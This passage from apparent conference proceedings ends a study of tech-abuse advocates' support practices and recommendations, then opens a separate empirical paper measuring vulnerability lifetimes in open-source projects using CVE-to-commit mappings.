ing out for support with cases of image-based sexual abuse.
The advocate spent an increasing amount of her time helping
people navigate Pornhub and other platforms, like Facebook’s,
non-consensual content policies. She said "the thing that’s
really disheartening and upsetting, is that, you know, someone
reaches out to me to support them. Like immediately [...] like
I’m really going to be like [...] Okay let me just get Mark on
the phone quickly and I’m like yo Zuckerberg [...] take this
down quickly." This is challenging as it often takes weeks to
get non-consensual content removed, and then when it is re-
moved, there is no support for getting evidence to prove it e.g.
in a court of law. As a result, she said "It’s like I don’t have
the funding anymore to do this work and I can’t stop either
right? [my supervisor suggested] it’s an emotional strain to
support people, right? And it’s not like- this isn’t my role [..]
I’m not a trained counsellor."

In the data walkthrough workshop, we suggested that com-
panies like Facebook or Pornhub should be providing more
support to survivors, as it seemed the advocate in the situation
above was doing unfunded customer support for these com-
panies. Interestingly, this was partially challenged by Kate
Worthington, a practitioner working with the Revenge Porn
Helpline, who said, “I don’t think I would trust the tech com-
panies to take on that emotional support.” She highlighted the
importance of having support from independent organisations,
as customer support services inevitably have the company’s
interest, which often differ from the survivors’ in mind.

Similarly, Eva Galperin described experts in forensics
reaching out and offering to help her with the work she does
supporting survivors, and said "the problem with that is that
my backlog is not technical, my backlog is therapeutic, my
backlog is in [...] trauma informed approach and I usually
cannot trust the technical people who approach me to know
how to do any of those things, and so usually they are ap-
palled when my response is a reading list.” This highlights
the enduring importance of funding independent support ser-
vices, alongside calling for better support from companies.
Further recommendations for change will be explored in the
next section.

4.3 Recommendations for change

In the previous two sections, we have highlighted advocates
expertise in combining technical and emotional support prac-
tices as well as developing networks of care. In our interviews,
advocates also made a variety of recommendations for how
to address the problem of technology-facilitated abuse. These
recommendations are important because, as advocates are
not widely recognised as tech experts, their ideas for how to
improve technology safety usually have not been included in
privacy and security discussions.

350    31st USENIX Security Symposium USENIX Association



Participants in the study emphasized that more support
and funding for training in building capacity is needed. This
echoes a general concern with insufficient funding and re-
sources in the field [19, 65]. Some argued it would be more
sustainable to develop more partnerships and collaboration
with digital security practitioners. This applies also to the
digital privacy and rights space: advocates noted that many
online privacy resources are directed at politicians, activists
and journalists and not domestic violence survivors.

Advocates also made a variety of recommendations for
improving technology design. Many of these related to higher
levels of privacy and security by default, such as setting a no-
tification reminder to periodically prompt deletion of location
data (Ben Walker), or sending notifications when someone
logs into your account from a new device.

Others made recommendations related to content uploads
and moderation. Companies are often incentivised to coax
users to upload as much engaging content as possible at the
cost of safety. Advocates called instead for practices which
prioritised consent and mechanisms for removing harmful
content over data collection and engagement. For example,
one advocate suggested, “the upload button on websites needs
to be the same size/prominence as the report button” (data
walkthrough). Others emphasized the importance of having
these reports read “at the same quick speed it is to upload the
content” (data walkthrough). Andrijana Radoicic Nedeljkovic
suggested that platforms could use facial recognition to notify
people when someone uploads a photo of them, and to “be
sure that the person had given consent.” Mechanisms for
reporting could also be much more trauma-informed. For
example, when reporting on forms and websites, survivors
often are not informed about outcomes, so “you don’t get that
validation. You know it’s all just like, well, you’ve made this
report allegation thing, and we’ll kind of have our own really
opaque internal process about what’s going to happen. So that
is not very survivor friendly or validating” (Toby Shulruff).
By understanding what good support practices (outlined in the
previous two sections), companies can create better support
mechanisms for survivors.

Many recommendations for technology design related to
broader processes and practices at tech companies rather than
specific UX changes. Advocates showed awareness that prod-
uct design related to the design process, saying “access to
information about your physical location through Find My
Friends [...] usually has its roots in design. User design that
is not designed to take the abuse case as a use case." Advo-
cates suggested incorporating tech abuse into conventional
security practices like threat modelling or maturity models,
saying “perhaps there needs to be some sort of maturity model
related to trauma-informed care for companies just as they
would have for other issues.”

Natalie Dolci called for “a relational dynamic between vic-
tim service organizations where we can say, hey, these are the
concerns we’ve seen this past quarter on your platform.” This

would allow victim service organisations to flag problems as
they arise. This was contrasted with disregard or tokenistic
inclusion by companies, in which survivors or advocates were
only asked for “green stamp” approval on solutions which
had already been developed.

Lastly, Luiza* called for more company measures aimed
at perpetrators rather than survivors: “all these platforms can
target advertising at a particular person [...] they know that I
like ice cream and I’m in the neighbourhood and boom, there’s
a coupon that’s going to come directly to me on a hot summer
day. [...] why can’t they use the same resources and tools
to direct public awareness messaging at perpetrators?” This
echoes calls in the literature like [3] to shift the responsibility
for addressing tech abuse from survivors to perpetrators.

Advocates recommendations for addressing tech abuse in-
cluded more funding and resources for capacity building in
law enforcement and the support sector, product design in
which safety and security are built in by default, and better
responsiveness when advocates and survivors raise problems.
These recommendations are grounded in an understanding of
security as networked and relational: in order to adequately re-
spond to the evolving problem of tech abuse, tech companies
and security workers need to develop respectful relationships
with advocates working on these problems on the ground.

5 Discussion

This paper responds to the need we outlined in section 2 to
study existing safety strategies to support victim-survivors of
technology-facilitated abuse. In section 3, we present safety
practices of individual advocates as well as how this work
is situated in and promotes the development of wider net-
works of care which incorporate different kinds of expertise -
including that of people within the security sector.

However, to fully empower survivors, we would require a
destruction of patriarchal social structures and the provision
of adequate housing for survivors, social services support,
and a variety of other support measures which are not new
technologies. This is not an issue that the security commu-
nity can tackle on its own. However, there are ways in which
the work that takes place within the community, especially
that which aims to address the topic of technology-facilitated
abuse and/or other forms of violence against marginalised
people, can better support safety work. We have already pre-
sented pragmatic advice from advocates directly in section
3, and now expand with more high-level suggestions for the
security community: (1) the need to redefine technical exper-
tise; and (2) the need to recognize networked care work as
central to security work.

5.1 Redefining technical expertise
As we outlined in 2.3, theorists in the framework of the ethics
of care posit that experiences of caring for those who are
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vulnerable give care-providers access to distinctive insights
on ethics. We follow and extend this tradition, showing how
experiences of supporting survivors lead tech abuse advocates
to develop valuable expertise on technology and digital secu-
rity. Advocates in this space have developed a unique set of
skills that combines technical knowledge with the emotional
and therapeutic sensitivity needed to support people who have
experienced trauma.

This finding departs from several existing studies of the
tech abuse support ecosystem which highlight gaps in training
and capacity in the sector, sometimes presenting support ser-
vices as overwhelmed or ill-equipped to address the problem
of technology abuse [19,65]. For example, a recent study [65]
concluded that “both statutory and voluntary sector represen-
tatives ‘don’t want to be tech experts’ [...] nor should they
have to be.” In fact, some advocates we interviewed also did
not consider themselves to be “tech savvy.”

This seeming inconsistency can be partially explained by
our recruitment and well as through self-selection of partici-
pants. Unlike previous studies, we spoke only to advocates
who were already interested in and knowledgeable about the
problem of tech abuse. Their level of technology expertise is
not necessarily representative of the broader community of
practitioners in support services.

However, this tension is also linked to our desire to re-
frame what is commonly understood as technical expertise.
Not every support worker in the field of domestic and sexual
violence should necessarily be viewed as a technology ex-
pert, yet each of them, including those who did not consider
themselves tech savvy, will have valuable experience with
understanding the dynamics of coercive control, as well as
how technology can enable these dynamics.

For example, advocates consider intersecting systems of
power and oppression, like misogyny, racism, or ableism, in
their threat assessment; these factors should be considered
in threat assessments more broadly. Similarly, ideas such as
focusing on the “horse issue” instead of the “zebra issue” (see
4.1) are valuable for academic research and media reporting,
which can fixate on flashy, sophisticated, but relatively rare,
attacks like spyware and omit mundane and common attacks
like coercing Facebook passwords. Advocates practices of
belief, empowerment, and demystification, also point to the
intertwined psychological, emotional, and technical aspects
of information security.

Tech abuse advocates’ expertise departs from conventional
understandings of a “cybersecurity expert” which might in-
volve someone with in-depth knowledge of cryptography or
malware analysis. However, this expertise is incredibly valu-
able for understanding online safety and security. This ex-
pertise should be recognised by technology designers and
companies looking to build safer digital systems. Many of
these organisations also need to receive much better funding
from government institutions to continue doing the important
work that they do. Therefore we absolutely support calls for

greater funding and training to extend the capabilities in the
victim support sector, however we also want to highlight that
this grounded knowledge translated into many valuable in-
sights which the digital privacy and security community can
learn from.

In order to integrate this new understanding of technical
expertise, those developing and deploying technical systems
should seek out and, crucially, compensate advocates who
have direct experience with the harms their products can
cause. Practitioners who work on the ground with people di-
rectly affected by the problem are a critical source of security
expertise. This is true not just for the problems of technology-
enabled coercive control or domestic violence, but also more
broadly for other forms of abuse or discrimination that are
exacerbated by technology, such as racism or xenophobia.

Likewise, security and privacy researchers should collab-
orate with such practitioners by employing participatory re-
search methods such as those applied by tech abuse clin-
ics [19,34] or in “participatory threat modelling” [58]. Threat
modelling both in research and in industry practices should
include interpersonal harms such coercive control, bullying,
or stalking [26,53,59]. Incorporating the perspectives of both
survivors of violence and practitioners who support them will
help address blindspots in threat modelling and develop more
robust security practices [59].

5.2 Networked care as central to security

Advocates work to create safety for survivors through empow-
erment, validation, and creating networks of caring, supportive
people that survivors can rely on for support. Many of their
practices (like threat assessment and safety planning) do re-
semble conventional security practices. However, practices
like advocating for digital self-care or empowerment through
technical skills clearly relate to digital security, yet extend
far beyond ensuring technical security of accounts and de-
vices. These kinds of care work more closely resemble what
Hörschelmann et al. [40] describe as “webs of (in)security” or
security practices which include the emotional and practical
labour invested in dealing with the breakdown of social rela-
tions. It remains an open question whether it is more helpful
to reconceptualise (some) care practices as security practices
or move away from the notion of security entirely. In fact,
advocates themselves rarely used the word “security”, often
speaking of “empowerment” instead.

This is reminiscent of critical security theorists’ preference
for emancipation or liberation over security. Critical secu-
rity theorists emphasize that some security practices can be
harmful, as when practitioners in the security industry will
inflate threats to sell security as a product [50]. This form of
tech saviourism can be disempowering or even exploitative to
security subjects, exposing them to surveillance in the name
of security, or leaving them in a permanent state of fear. Ad-
vocates supporting survivors are not in a financial relationship
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with survivors and do not need to sell them security products
(as security practitioners in a company may be). Crucially (as
described in section 1.3), through their focus on empower-
ing survivors and demystifying abuser’s abilities, tech abuse
advocates actually invest a significant amount of time and
energy to reduce perpetrators’ perceived expertise. This runs
counter to many security practices of threat inflation which
are critiqued within critical security studies.

Tseng et al. [71] have noted that the language of “empow-
erment” can be misleading in this context, arguing that tech
abuse support practices are better described as enablement, or
the facilitation of “opportunities for people to develop their
own capacity.” As Erete et al. [21] write, technology interven-
tions alone cannot empower people without addressing un-
derlying social, economics, and political inequities. Survivors
are often targeted because they belong to a systematically
marginalized group and abusers know they can wield power
against them. To describe projects and technologies as em-
powering when they do not truly shift these underlying power
structures can obscure this reality [71]. Although we cannot
evaluate to what extent these practices are actually empow-
ering, the fact that these advocates actively aim for agency
and empowerment as a part of security is still significant, as it
runs counter to many descriptions of security practices within
critical security studies.

Privacy and security researchers and practitioners can draw
several insights from the findings and questions raised in this
paper. Firstly, by learning about digital security practices in a
very different context from the standard security setting (i.e.,
within a corporate or military organisation) security practition-
ers can reflect on their own security practices: for example,
advocates actively incorporate the values of empowerment in
their practices. What kind of values do security practices in
other contexts incorporate?

Secondly, this study highlights the benefits of studying
existing practices rather than prioritising the development of
new technical solutions, offering a pragmatic alternative to
technical solutionism. Having an awareness of security as a
set of practices opens up the possibility of understanding the
networks through which these practices take place. Practices
such as developing networks of care in communities are a
critical source of support for survivors of abuse and easily
missed if the focus is solely on securing devices.

5.3 Limitations and directions for future work

In looking closely at advocates’ support practices and ex-
ploring their understandings of security, we have accepted a
variety of limitations which would have enriched our work
and are important to explore in further research.

First, we focused our research design on interviews with ad-
vocates, not survivors (with a few exceptions where advocates
had themselves experienced technology abuse) so we did
not assess survivors’ perspectives on these support systems.

Therefore, we were only able to describe support practices
as they were related to us by advocates; as with any practice,
there is likely a gap between what practitioners describe and
how this works in practice. Methods such as ethnography and
participatory observation, as well as interviewing survivors
about their experiences, would provide a richer picture. Sur-
vivors’ experiences of abuse have been a significant focus of
research [25,48], but their experience of support practices and
their ideas about safety would undoubtedly be very valuable
for future work.

More broadly, we do not fully engage here with existing de-
bates on accessibility and inclusiveness within the field of co-
ercive control and gender-based violence. For example, as a re-
sult of the severe isolation that often comes with abuse, many
survivors are not able to access support services in the first
place, while others have reported negative or exclusionary ex-
periences at support services [60]. Scholars and practitioners
advocating for abolitionist perspectives argue that close rela-
tionships between domestic violence services and law enforce-
ment are a barrier to access for marginalised groups who are
disproportionately targeted [18, 60]. Additionally, others are
concerned that a sector originally developed to support “bat-
tered women” does not adequately support male, LGBTQ+,
trans or non-binary survivors of abuse [11, 22, 30, 54]. These
issues are contested and complex, and warrant further study
to see how they intersect with privacy and security concerns.

6 Conclusion

Advocates who support victim-survivors of technology-
facilitated abuse are (often un-acknowledged) cybersecurity
workers and experts. Through their work in developing safety
strategies and the sustainable establishment of networks of
care, these advocates reconfigure cybersecurity as a form of
care sensitive to the experience of trauma. With this paper, we
expand the security and privacy community’s understanding
of this kind of work, and how it can be adapted into security
research practices. We do this by (1) expanding the field’s
understanding of what ‘technical’ support in security studies
is and could be, adding layers of care and relational support;
(2) questioning conventional understandings of security by
adding the notion of care work as integral to the work of
security experts; and (3) redefining technical expertise in
security, including knowledge from experiences of support
workers and advocates. To better support victim-survivors of
technology-mediated abuse, we argue that the security com-
munity must re-evaluate its understanding of technical exper-
tise to validate and incorporate the expertise of advocates, and
recognize the individual and networked care that is inherent to
this work. Once we recognise and understand these networks
of care, we can build on and extend them though employing
participatory methods and expanding threat modelling to ac-
count for harms like coercive control and structural forms of
discrimination.
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7 Appendices

7.1 Appendix 1: List of participants
Participants and their organisations are listed in Table 1. As
we are promoting advocates as experts in their field, we
wanted to give advocates the chance to be identified by their
name and organisation should they choose to do so [17]. Con-
sequently, although participants in the study are pseudony-
mous by default, participants could also opt-in to use their real
name. Asterisks (*) indicate areas where participants chose
to use a pseudonym or keep details confidential.

7.2 Appendix 2: Interview protocol
1. Can you describe your role?

2. How did you first become involved in addressing
the problem of technology-facilitated abuse (or ‘tech
abuse’?)

3. What kinds of tech abuse do you see most frequently?

4. How do you support survivors to address tech abuse? you
walk me through a case that you thought was particularly
important or interesting?

5. (If psychological security has not come up) How do you
address psychological distress which arise as a result of
tech abuse in your work?

6. What challenges do you face in supporting survivors?

7. Are there any demographic factors (like gender, race or
immigration status) particular to the victims you support
that shape their experience of tech abuse?

8. What kinds of mistakes can advocates make when sup-
porting survivors of tech abuse?

9. Did you receive any formal training in supporting victim-
survivors of tech abuse?

10. How does providing this support affect you?

11. What problems have you identified in the design of these
technologies?

12. What would you want to say to companies that produce
and sell digital technologies?

13. Is there anything else I should know about? Anything
else you wanted to tell me?
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Name Organisation Role Focus Location

Natalie Dolci 3

Safe Campus and
Technology-Enabled
Coercive Control
Initiative

Senior Violence
Prevention and
Response Specialist

Campus violence
prevention and tech
enabled coercive
control

USA

Stephanie* * * Domestic violence *
Toby Shulruff * * Domestic violence USA
Sarah * * Family violence *
Luiza* * * Women’s services *

Spike Curtis
Technology-Enabled
Coercive Control
Initiative

Volunteer technologist Technology-enabled
abuse USA

Adam Dodge
End
Technology-Enabled
Abuse

CEO Technology-enabled
abuse USA

Chris Warner
Technology-Enabled
Coercive Control
Initiative

Volunteer technologist Technology-enabled
abuse USA

Susan Hickey
Harris County
Domestic Violence
Coordinating Council

Advocacy Specialist Domestic violence USA

Rayme Lacey Heart of Grant County Advocate Domestic violence USA
Matthew* * Advocate Domestic violence *

Ben Walker
Technology-Enabled
Coercive Control
Initiative

Volunteer technologist Technology-enabled
coercive control USA

Rebecca* * * Sexual violence *

Anastasia* * * Domestic and sexual
violence *

Amy Jacques * * Domestic violence *
Metzli Mejia LA LGBT Center Legal client advocate LGBT+ rights USA
Hera Hussein Chayn Founder & CEO Gender-based violence Global

Eva Galperin Electronic Frontier
Foundation

Director of
Cybersecurity

Digital privacy & civil
rights USA

Bridgette Alexander * Domestic Violence
Educational Specialist Domestic violence USA

Seabata Makoae
She-Hive Association
and MenEngage
Network Lesotho

Social worker and
coordinator Gender activism Lesotho

Milcah* * Attorney * South Africa

Emma Pickering Refuge Tech Abuse Team
Manager Domestic violence UK

Sol* * * * *

Farah Sattar DCRYPTD Founder and Security
Researcher Digital security USA

Kate Worthington Revenge Porn
Helpline

Senior Helpline
Practitioner Intimate image abuse UK

Table 1: Participant list

358    31st USENIX Security Symposium USENIX Association



How Long Do Vulnerabilities Live in the Code? A Large-Scale Empirical
Measurement Study on FOSS Vulnerability Lifetimes

Nikolaos Alexopoulos, Manuel Brack, Jan Philipp Wagner, Tim Grube and Max Mühlhäuser
Telecooperation Lab, Technical University of Darmstadt, Germany

Abstract
How long do vulnerabilities live in the repositories of large,
evolving projects? Although the question has been identified
as an interesting problem by the software community in on-
line forums, it has not been investigated yet in adequate depth
and scale, since the process of identifying the exact point in
time when a vulnerability was introduced is particularly cum-
bersome. In this paper, we provide an automatic approach
for accurately estimating how long vulnerabilities remain in
the code (their lifetimes). Our method relies on the observa-
tion that while it is difficult to pinpoint the exact point of
introduction for one vulnerability, it is possible to accurately
estimate the average lifetime of a large enough sample of
vulnerabilities, via a heuristic approach.

With our approach, we perform the first large-scale mea-
surement of Free and Open Source Software vulnerability
lifetimes, going beyond approaches estimating lower bounds
prevalent in previous research. We find that the average life-
time of a vulnerability is around 4 years, varying signifi-
cantly between projects (~2 years for Chromium, ~7 years for
OpenSSL). The distribution of lifetimes can be approximately
described by an exponential distribution. There are no statisti-
cally significant differences between the lifetimes of different
vulnerability types when considering specific projects. Vul-
nerabilities are getting older, as the average lifetime of fixed
vulnerabilities in a given year increases over time, influenced
by the overall increase of code age. However, they live less
than non-vulnerable code, with an increasing spread over time
for some projects, suggesting a notion of maturity that can be
considered an indicator of quality. While the introduction of
fuzzers does not significantly reduce the lifetimes of memory-
related vulnerabilities, further research is needed to better
understand and quantify the impact of fuzzers and other tools
on vulnerability lifetimes and on the security of codebases.

1 Introduction

Software flaws that can potentially be exploited by an ad-
versary are referred to as security bugs or vulnerabilities.

Reducing the number of vulnerabilities in software by find-
ing existing ones and avoiding the introduction of new ones
(e.g. by employing secure coding practices or formal verifica-
tion techniques) is one of the primary pursuits of computer
security.

Measurement studies on the different stages of the vul-
nerability lifecycle play an important role in this pursuit, as
they help us better understand the impact of security efforts
and improve software security practices and workflows. The
community has produced a number of such outputs in recent
years [5, 8, 14, 18, 23, 28, 36]. A vulnerability’s lifecycle, or
window of exposure as introduced by Schneier [34], describes
the phases between the introduction of a vulnerability in the
code, and the point in time when all systems affected by that
vulnerability have been patched. There have been several
adaptations of the vulnerability lifecycle concept (e.g. w.r.t.
the number of phases or their ordering and its non-linearity),
but the general concept remains the same, and a simple ver-
sion is shown in Fig 1. The lifecycle of a vulnerability (or

tint tf td tfix tp

vuln. in
tro

duced

vuln. fo
und

vuln. pub. disc
losed

fix 
available

all h
osts

 patch
ed

timePhase 1 Phase 2 Phase 3 Phase 4

Figure 1: Simplified plot of a vulnerability’s lifecycle. Continuous
line shows period of possible exploitation.

alternatively the window of exposure to a vulnerability) be-
gins with its introduction into a product (at time tint). This
first phase (Phase 1) of its lifecycle ends with its discovery
by some party (tf). Phase 2 covers the time period during
which a vulnerability is known to at least one individual (and
there is an associated risk of exploitation depending on their
intentions), but is not publicly disclosed yet. Phase 3 begins
with the public disclosure of the vulnerability (td) and ends
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with the publication of a patch fixing the vulnerability (tfix).
Finally, Phase 4 ends when all vulnerable hosts have been
patched (tp). The phases described above can be long, short or
even non-existent, depending on the specific vulnerability and
the processes of the affected product’s vendor. For example,
if a vulnerability is discovered by an ethical hacker and re-
sponsibly disclosed, the software vendor has the opportunity
to eliminate Phase 3 by disclosing the vulnerability together
with the fix. This is common practice for many projects. In
some cases (more often for proprietary software) a vulner-
ability can be silently patched, meaning public disclosure
never occurs, and the phases may differ significantly from the
figure.

While the latter phases of the vulnerability lifecycle have
received renewed research attention [14, 23, 36], this has not
been the case for the early phases. A particularly interesting
quantity describing the early part of the lifecycle (Phases 1–3),
is the amount of time a vulnerability remains in the (upstream)
codebase of a project. In the context of a version control
system, it is the time between a Vulnerability Contributing
Commit (VCC), and a fixing commit. We refer to this quantity,
as a vulnerability’s code lifetime, or just lifetime for the rest
of this paper. This quantity can provide valuable insights
regarding code maturity, can guide practical decisions, and
can help us investigate fundamental questions: Is the quality
of software improving? How long should the “stable” freeze
last? Are some vulnerabilities harder to find than others?
What impact do automated testing tools have on the lifetimes
of vulnerabilities?

Previous approaches towards measuring vulnerability life-
times either relied on manual mappings of fixing commits to
VCCs [10, 11, 28], which meant they were limited in scale
(low number of vulnerabilities affecting one project), or used
heuristics to estimate lower bounds [18]. Li and Paxson [18],
in particular, provided lower bound estimates for vulnerability
lifetimes using an automated approach, as part of their large
scale study on security patches.
Research Questions. Although accurately estimating the life-
time of vulnerabilities is a useful contribution on its own, the
real power of a metric comes from the insights derived from
its application. Vulnerability lifetime, as a metric, is less af-
fected by the bias of vulnerability-hunting scrutiny, compared
to metrics based on counting the raw number of discovered
vulnerabilities1. Therefore, it can provide valuable novel in-
sights. The main research questions we set off to answer in
this paper are summarized by the following points:
– How long do vulnerabilities remain in the code? Do these
lifetimes differ for different projects or different vulnerabil-
ity types? How long does it take to find certain portions of
ultimately discovered vulnerabilities? (e.g. 25/50/75 percent)
Answering these questions will provide us with insights re-
garding the duration of the window of exposure for different

1The futility of software quality arguments based on the raw numbers of
vulnerability discoveries is well-documented [7, 17].

projects. Results can aid decisions regarding the amount of
time a “stable freeze” (only critical patches are applied to the
software) should last, and for how long investing on dedicated
long-term security support for a stable version may be neces-
sary.

– Are lifetimes increasing or decreasing over time? Are there
signs of improved quality? Answering these questions will
help us approach a fundamental question of software security
from a novel angle: is software getting more secure over time?
Contributions. We provide the first approach for accurately
estimating vulnerability lifetimes automatically, going beyond
estimating lower bounds, which is prevalent in previous work.
The approach is based on a heuristic that receives as input
a CVE’s set of fixing commits and produces as output an
estimate of the CVE’s lifetime, utilizing information available
in a project’s version control system. We rigorously validate
our approach on a dataset of 1,171 ground truth mappings
between CVEs and their VCCs. Then, we perform lifetime
measurements on a large dataset of 5,914 CVEs, spanning
11 popular Free and Open Source Software (FOSS) projects
(selection criteria for the projects are presented in Section 3.2).
This dataset is, to the best of our knowledge, the largest and
most complete dataset of mappings between CVEs and their
fixing commits, in existence.
Main findings. Vulnerabilities generally remain in the code
for large periods of time, varying significantly between
projects. An exponential distribution is a good fit for vulnera-
bility lifetimes overall, and for individual projects. Overall,
vulnerability lifetimes increase with time, however the shape
of their distribution remains exponential. A vulnerability’s
lifetime does not depend on its type. Lifetimes are closely
correlated with the general code age of a repository. However,
vulnerable code lives less than non-vulnerable code. This
spread (between the age of vulnerable and all code) increases
over time for some projects.

2 Related work and background

In this section, we place related work in context and define
vulnerability lifetime in version control systems.

2.1 Related work on vulnerability measure-
ments

There exists a considerable amount of work on measuring
different aspects of software security. These range from gen-
eral studies on bug characteristics [37], to studies on the vul-
nerability discovery rate and its trends in various software
projects [1,8,33]. Another strand of work focuses on vulnera-
bility discovery models that try to capture the vulnerability
discovery rate of specific software products after their release.
Most of these models try to model the after-release discovery
rate as a function of time [2–4, 15, 16], and others as a func-
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tion of expended effort, either measured as the market share
of a specific product [3], or the cumulative user months esti-
mated to have elapsed since its release [40]. These reliability-
inspired discovery models most often focus on a specific ver-
sion of software (static codebase) and their accuracy against
empirical data has been contested [1, 26, 27]. Specifically,
empirical evidence [1, 33] suggest that there might be no de-
creasing trend in the rate of vulnerability discoveries, or if
there is, it may be attributed to a decrease in the detection
effort, rather than the depletion of vulnerabilities. Therefore,
the community has identified the need to measure different
aspects of the security process.

There are studies that measure the duration of different
parts of the vulnerability lifecycle (see Figure 1). Frei [14],
Krebs [17] and Shahzad et al. [36] measure characteristics
of Phase 3 of the vulnerability lifecycle, namely how fast
patches are developed and made available, and what the im-
pact of delays is in terms of real-world exploits. Phase 4 of
the lifecycle, namely how fast patches are applied to vulner-
able systems, and how this relates to attacks in the wild, is
studied by Nappa et al. [23]. Phase 2 of the lifecycle, namely
how long vulnerabilities remain undetected since they have
been discovered by attackers and used in zero-day attacks, is
studied by Bilge et al. [5].

The main topic of this paper, vulnerability lifetimes, i.e.
the amount of time vulnerabilities remain in the code in the
(upstream) repositories of non-static projects, has received at-
tention, but limited progress has been made to date. A reason
may be the difficulty of automatically assessing when a vul-
nerability was introduced in a codebase. In a short LWN.net
article, Corbet [11] presented the results of a small-scale study
on 80 CVEs affecting the Linux kernel. This was followed by
a blog post from Cook [10] on the amount of time 557 Linux
kernel CVEs remained in the code. Both of these studies re-
lied on manually curated data (either of the author or from the
Ubuntu Security Team) and only touched the surface of the
problem, being limited to providing one plot of the data. How-
ever, the interest they raised, expressed in lengthy discussions
in their respective forums, acted as a motivation for our work.
The only study that investigates the issue of vulnerability life-
times in a technical paper is, to the best of our knowledge,
the recent work by Li and Paxson [18]. A small part of their
insightful large-scale study on security patches in open source
software is dedicated to assessing a lower bound for vulner-
ability lifetimes. Using an approximation of the exact value
rather than a lower-bound approach, our results regarding vul-
nerability lifetimes differ by an order of magnitude compared
to theirs. Also, due to more detailed per-project analysis, our
conclusions do not support their hypothesis that vulnerability
lifetimes and their types are correlated. In our study, we focus
on how lifetimes differ between different projects and how
they develop over the years, questions that generated inter-
esting insights and have never been rigorously investigated
before.

2.2 Vulnerability lifetimes in version control
systems

A vulnerability’s code lifetime, or just lifetime for the rest of
this paper, has been informally defined as the amount of time
a vulnerability remains in the codebase. This is the time that
elapses between a change in the codebase that introduced
a weakness2, and the change in the codebase that fixed the
weakness (which was discovered in the meantime). In a ver-
sion control system, such as git, SVN, or mercurial, these
changes are part of commits. These commits include meta-
data about each change (e.g. commit timestamp, author) and
the complete history of a repository can be tracked via a tree-
like structure of commits (including branching and merging
commits). A commit that contributed to the introduction of
a weakness is known in literature [20, 31] as a Vulnerabil-
ity Contributing Commit (VCC), and a commit that helped
resolve the issue is referred to as a fixing commit. A vulner-
ability may have multiple VCCs and fixing commits due to
several reasons. Some examples follow:

– a CVE may cover multiple programming errors. For ex-
ample, CVE-2019-10207 describes a flaw in the bluetooth
drivers of the Linux kernel. The fixing commit3 indicates that
checks were missing in the bluetooth driver files of several
manufacturers, pinpointing 5 responsible VCCs with commit
dates spanning 8 years. Another example is CVE-2015-8550,
which describes flaws in 2 linux kernel virtualization drivers
(Xen blktap and Xen PVSCSI), introduced in 2013 and 2014
respectively, and fixed with a patch spread among 7 commits
all with the same commit date in 20154.

– a vulnerability may be removed and then re-introduced. For
example CVE-2017-18174 describes a double free in the
Linux kernel that was introduced in 2015, removed without
being designated as a security issue roughly a year later as
part of a commit that “cleaned the error path”, re-introduced
by a commit that provided new functionality 6 months later,
and finally fixed again within a month of re-introduction5.

– a fix may be extensive, requiring multiple commits. For
example the fix of CVE-2017-9059 included considerable
refactoring of the code and changes spanned 2 fixing commits

2What constitutes a weakness is open to definition and often also to
discussion among project contributors/developers. In the empirical part of
this paper, we count vulnerabilities by their CVE identifier in the NVD,
as often done in literature. We note that the CVE identifier is a level of
abstraction higher than individual weaknesses, in the sense that multiple
related weaknesses may be grouped together under a unique CVE identifier.
However, for the sake of text simplicity, for the rest of the paper, we do no
differentiate between the concepts (1 CVE-ID = 1 vulnerability).

3https://github.com/torvalds/linux/commit/
b36a1552d7319bbfd5cf7f08726c23c5c66d4f73

4more information at https://bugs.launchpad.net/ubuntu/
+source/linux/+bug/1530403.

5more information at https://bugzilla.redhat.com/show_bug.
cgi?id=1544482.
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committed within a day6. Another Linux kernel vulnerability
with CVE-2012-2119, this time a buffer overflow, had a patch
spanning 5 short fixing commits modifying the same file, all
committed on the same day7.

Defining a lifetime metric comes down to explicitly defin-
ing the start and end points of the time measurement.
– Which of the potentially multiple VCCs/fixing commits
should we consider as a start/end point? Considering the
causes for multiple commits either introducing or fixing a vul-
nerability, we decide to use the first of the VCCs as the start
of the time measurement and the last of the fixing commits as
the end. For cases like the first example concerning multiple
sub-vulnerabilities described in one CVE, we therefore mea-
sure the lifetime of the oldest one. For re-introduction cases,
like the one in the second example, we measure the total life-
time. In those cases, this whole period is most often a period
of risk for systems running “stable” software versions (only
applying critical patches), since the premature fix is often not
designated as a security issue, and therefore not considered a
critical patch.
– Which timestamp to use? Most projects use a “main”
branch of development (traditionally master in git) to track
their code, and have a public mirror of this repository so that
users can download the most recent versions of the code8.
Changes are then developed, discussed, and tested in private
copies of the repository. When a change is ready to make it to
the main branch, it is either (a) prepared as a (typically short)
series of commits based on a recent reference commit and
then merged into the main branch, or (b) directly committed to
the main branch. For the purpose of measuring the lifetime of
a vulnerability as a part of its window of exposure, we would
want to measure the time between the VCC and the fix being
widely available to users (including, e.g. maintainers of soft-
ware distributions). Following this argumentation, we would
use the time a VCC or a fixing commit was merged into the
main branch as its timestamp, rather than its “commit times-
tamp” (because the change may potentially be kept private
until merging). This was indeed our first approach. However,
from our empirical results we came to the conclusion that
this adds unnecessary complexity to both the definition and
the computation of the metric. The time between the commit
and its merging into the main branch is usually very short
(average of ∼20 days) in comparison to the lifetime of a vul-
nerability (average in years). This is due to the fact that the
usual practice after a fix is prepared and tested, is to download
the most recent version of the code from the main branch
of development and create a patch against this version. Fur-
thermore, more complexity in the definition would have been

6more information at https://www.spinics.net/lists/linux-nfs/
msg63334.html.

7more information at https://bugs.launchpad.net/ubuntu/
+source/linux/+bug/987566.

8see https://git.kernel.org/pub/scm/linux/kernel/git/
torvalds/linux.git for Linux.

needed to account for fixes that were never merged into the
main branch because the vulnerability they addressed only
affected older versions of the software (and were therefore
merged into e.g. a stable branch). Considering the above, we
backtracked and decided to use the commit timestamp, which
is readily available in the metadata of a commit in all three
popular version control systems (git, SVN, mercurial).

3 Dataset creation

In this section we describe the data collection and cleaning
process. This process allowed us to create the largest and
most complete, to the best of our knowledge, datasets of (a)
mappings between a CVE and its VCC(s), and (b) mappings
between a CVE and its fixing commit(s). We therefore con-
sider the dataset to be a valuable contribution in itself and
will make it publicly available for other researchers to use9.

3.1 Linking CVEs to their VCCs
An integral part of our dataset are mappings from CVEs to
their VCCs to create a “ground truth” dataset. These map-
pings come from manually curated datasets of researchers
and project maintainers and enable us to evaluate and validate
methods that automatically estimate lifetimes of vulnerabili-
ties for which no such ground truth data are available.

The largest source we identified for such mappings, is the
Ubuntu CVE Tracker [6]. In this project, the Ubuntu Security
Team gathers and curates several data points on vulnerabilities
affecting the Linux kernel, often including their fixing com-
mits and VCCs. Note that we exclude some of the mappings
in the project from our dataset as their corresponding VCC
refers to the initial git commit of the Linux kernel, leaving us
